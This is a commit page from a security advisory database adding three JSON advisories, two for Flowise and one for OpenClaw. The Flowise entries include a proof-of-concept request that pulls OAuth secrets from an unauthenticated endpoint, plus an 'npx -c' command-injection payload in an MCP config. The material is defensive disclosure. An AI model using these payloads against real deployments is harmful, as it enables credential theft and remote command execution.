Skip to content

Commit 8af2ed4

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-6pcv-j4jx-m4vx GHSA-c9gw-hvqq-f33r GHSA-gj9q-8w99-mp8j
1 parent a5f0517 commit 8af2ed4

File tree

3 files changed

+212
-0
lines changed

3 files changed

+212
-0
lines changed

‎advisories/github-reviewed/2026/04/GHSA-6pcv-j4jx-m4vx/GHSA-6pcv-j4jx-m4vx.json‎

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-6pcv-j4jx-m4vx",
4+
"modified": "2026-04-16T21:20:05Z",
5+
"published": "2026-04-16T21:20:05Z",
6+
"aliases": [],
7+
"summary": "Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request",
8+
"details": "### Summary\nI have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.\n\n\n### PoC\nThe following request can be sent by anyone on the internet without any cookies or authorization headers.\n\nRequest\n```http\nGET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2\nHost: cloud.flowiseai.com\nAccept: application/json\nContent-Type: application/json\n```\n\nResponse: The server returns 200 OK with sensitive credentials:\n```json\n{\n \"providers\": [\n {\n \"id\": \"a04ba769-b810-481d-8d6b-84f8c377dea5\",\n \"organizationId\": \"bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d\",\n \"name\": \"azure\",\n \"config\": {\n \"tenantID\": \"\",\n \"clientID\": \"\",\n \"clientSecret\": \"\"\n },\n \"status\": \"disable\",\n \"createdDate\": \"2025-12-26T18:52:33.453Z\",\n \"updatedDate\": \"2025-12-26T19:31:56.087Z\",\n \"createdBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\",\n \"updatedBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\"\n },\n {\n \"id\": \"eda8bd90-1c45-4aca-933f-3a53d9be4161\",\n \"organizationId\": \"bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d\",\n \"name\": \"google\",\n \"config\": {\n \"clientID\": \"123455\",\n \"clientSecret\": \"123455\"\n },\n \"status\": \"enable\",\n \"createdDate\": \"2025-12-26T18:52:33.453Z\",\n \"updatedDate\": \"2025-12-26T19:31:56.087Z\",\n \"createdBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\",\n \"updatedBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\"\n },\n {\n \"id\": \"0d238df0-c89c-4733-bf57-6ec06f58c7e7\",\n \"organizationId\": \"bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d\",\n \"name\": \"auth0\",\n \"config\": {\n \"domain\": \"\",\n \"clientID\": \"\",\n \"clientSecret\": \"\"\n },\n \"status\": \"disable\",\n \"createdDate\": \"2025-12-26T18:52:33.453Z\",\n \"updatedDate\": \"2025-12-26T19:31:56.087Z\",\n \"createdBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\",\n \"updatedBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\"\n },\n {\n \"id\": \"e060ae88-c7f4-4b7c-9bdc-5321963a1648\",\n \"organizationId\": \"bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d\",\n \"name\": \"github\",\n \"config\": {\n \"clientID\": \"\",\n \"clientSecret\": \"\"\n },\n \"status\": \"disable\",\n \"createdDate\": \"2025-12-26T18:52:33.453Z\",\n \"updatedDate\": \"2025-12-26T19:31:56.087Z\",\n \"createdBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\",\n \"updatedBy\": \"6ab311fa-0d0a-4bd6-996e-4ae721377fb2\"\n }\n ],\n \"callbacks\": [\n {\n \"providerName\": \"azure\",\n \"callbackURL\": \"https://cloud.flowiseai.com/api/v1/azure/callback\"\n },\n {\n \"providerName\": \"google\",\n \"callbackURL\": \"https://cloud.flowiseai.com/api/v1/google/callback\"\n },\n {\n \"providerName\": \"auth0\",\n \"callbackURL\": \"https://cloud.flowiseai.com/api/v1/auth0/callback\"\n },\n {\n \"providerName\": \"github\",\n \"callbackURL\": \"https://cloud.flowiseai.com/api/v1/github/callback\"\n }\n ]\n}\n```\n### Affected Deployments\n- FlowiseAI Cloud (cloud.flowiseai.com)\n- Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed\n\n### Impact\nAn unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "flowise"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "3.1.0"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 3.0.13"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-6pcv-j4jx-m4vx"
43+
},
44+
{
45+
"type": "PACKAGE",
46+
"url": "https://github.com/FlowiseAI/Flowise"
47+
}
48+
],
49+
"database_specific": {
50+
"cwe_ids": [
51+
"CWE-306",
52+
"CWE-312"
53+
],
54+
"severity": "MODERATE",
55+
"github_reviewed": true,
56+
"github_reviewed_at": "2026-04-16T21:20:05Z",
57+
"nvd_published_at": null
58+
}
59+
}

‎advisories/github-reviewed/2026/04/GHSA-c9gw-hvqq-f33r/GHSA-c9gw-hvqq-f33r.json‎

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-c9gw-hvqq-f33r",
4+
"modified": "2026-04-16T21:18:17Z",
5+
"published": "2026-04-16T21:18:17Z",
6+
"aliases": [
7+
"CVE-2026-40933"
8+
],
9+
"summary": "Flowise: Authenticated RCE Via MCP Adapters",
10+
"details": "### Summary\nDue to unsafe serialization of stdio commands in the MCP adapter, an authenticated attacker can add an MCP stdio server with an arbitrary command, achieving command execution.\n\n### Details\nThe vulnerability lies in a bug in the input sanitization from the “Custom MCP” configuration in http://localhost:3000/canvas - where any user can add a new MCP, when doing so - adding a new MCP using stdio, the user can add any command, even though your code have input sanitization checks such as validateCommandInjection and validateArgsForLocalFileAccess, and a list of predefined specific safe commands - these commands, for example \"npx\" can be combined with code execution arguments (\"-c touch /tmp/pwn\") that enable direct code execution on the underlying OS.\n\nhttps://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L223\n\nhttps://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L177\n\nhttps://github.com/FlowiseAI/Flowise/blob/d848baeb6bd9737a1e7fc912349c45fbdcc7bb38/packages/components/nodes/tools/MCP/core.ts#L269\n\n\n### PoC\nCreate a new Custom MCP and add an \"npx -c\" command.\n```\n{\n \"command\": \"npx\",\n \"args\": [\n \"-c\",\n \"touch /tmp/pwn\"\n ]\n}\n```\n<img width=\"358\" height=\"628\" alt=\"Screenshot 2026-01-12 at 18 32 37\" src=\"https://github.com/user-attachments/assets/d95c1ae2-23a7-4afe-b586-722003baf50e\" />\n\n### Impact\nThis is an authenticated arbitrary command execution due to unsanitized input, even though the input is sanitized, more protections should be added in order to close ways for attackers to execute arbitrary commands.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "flowise"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "3.1.0"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 3.0.13"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "npm",
43+
"name": "flowise-components"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"fixed": "3.1.0"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 3.0.13"
60+
}
61+
}
62+
],
63+
"references": [
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-c9gw-hvqq-f33r"
67+
},
68+
{
69+
"type": "PACKAGE",
70+
"url": "https://github.com/FlowiseAI/Flowise"
71+
},
72+
{
73+
"type": "WEB",
74+
"url": "https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem"
75+
},
76+
{
77+
"type": "WEB",
78+
"url": "https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp"
79+
}
80+
],
81+
"database_specific": {
82+
"cwe_ids": [
83+
"CWE-78"
84+
],
85+
"severity": "CRITICAL",
86+
"github_reviewed": true,
87+
"github_reviewed_at": "2026-04-16T21:18:17Z",
88+
"nvd_published_at": null
89+
}
90+
}

‎advisories/github-reviewed/2026/04/GHSA-gj9q-8w99-mp8j/GHSA-gj9q-8w99-mp8j.json‎

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-gj9q-8w99-mp8j",
4+
"modified": "2026-04-16T21:19:21Z",
5+
"published": "2026-04-16T21:19:21Z",
6+
"aliases": [],
7+
"summary": "OpenClaw: TOCTOU read in exec script preflight",
8+
"details": "## Summary\n\nOpenClaw's exec script preflight validator previously validated and then read a script by mutable pathname. A local race could swap the path between validation and read, causing preflight analysis to inspect a different file identity than the one that passed the workspace boundary check.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `< 2026.4.10`\n- Patched versions: `>= 2026.4.10`\n\n## Impact\n\nThe impact is limited. This was not arbitrary full-file disclosure through the preflight error path. The validator only surfaced derived preflight content, such as a matched token, a line number, or the first non-empty JavaScript line in one branch. Exploitation also required the ability to mutate the relevant workspace path during the preflight window.\n\nStill, this was a real TOCTOU boundary bug in code that is supposed to reason about workspace-local script files before execution. A file identity that passed the initial boundary validation could differ from the identity that was later read for preflight analysis.\n\n## Technical Details\n\nThe vulnerable flow performed separate path validation and file reads in `validateScriptFileForShellBleed`. Because the read was path-based, an attacker with write access to the workspace path could race replacement of the target after validation but before preflight read.\n\n## Fix\n\nPR #62333 replaced the check-then-read flow with a pinned safe-open/read path using the shared `readFileWithinRoot` helper. The fixed path performs boundary verification around the opened file identity and avoids relying on a mutable pathname for the final preflight read. Regression tests cover both pre-open and post-open swap windows.\n\n## Fix Commit(s)\n\n- `b024fae9e5df43e9b69b2daebb72be3469d52e91` (`fix(exec): replace TOCTOU check-then-read with atomic pinned-fd open in script preflight [AI]`)\n- PR: #62333\n\n## Release Process Note\n\nThe fix first shipped in `v2026.4.10`. Users should upgrade to `openclaw` `2026.4.10` or newer; the latest npm release already includes the fix.\n\n## Credits\n\nThanks to @kikayli for reporting this issue.",
9+
"severity": [
10+
{
11+
"type": "CVSS_V4",
12+
"score": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "openclaw"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "2026.4.10"
30+
}
31+
]
32+
}
33+
]
34+
}
35+
],
36+
"references": [
37+
{
38+
"type": "WEB",
39+
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-gj9q-8w99-mp8j"
40+
},
41+
{
42+
"type": "WEB",
43+
"url": "https://github.com/openclaw/openclaw/pull/62333"
44+
},
45+
{
46+
"type": "WEB",
47+
"url": "https://github.com/openclaw/openclaw/commit/b024fae9e5df43e9b69b2daebb72be3469d52e91"
48+
},
49+
{
50+
"type": "PACKAGE",
51+
"url": "https://github.com/openclaw/openclaw"
52+
}
53+
],
54+
"database_specific": {
55+
"cwe_ids": [
56+
"CWE-367"
57+
],
58+
"severity": "LOW",
59+
"github_reviewed": true,
60+
"github_reviewed_at": "2026-04-16T21:19:21Z",
61+
"nvd_published_at": null
62+
}
63+
}

0 commit comments

Comments
 (0)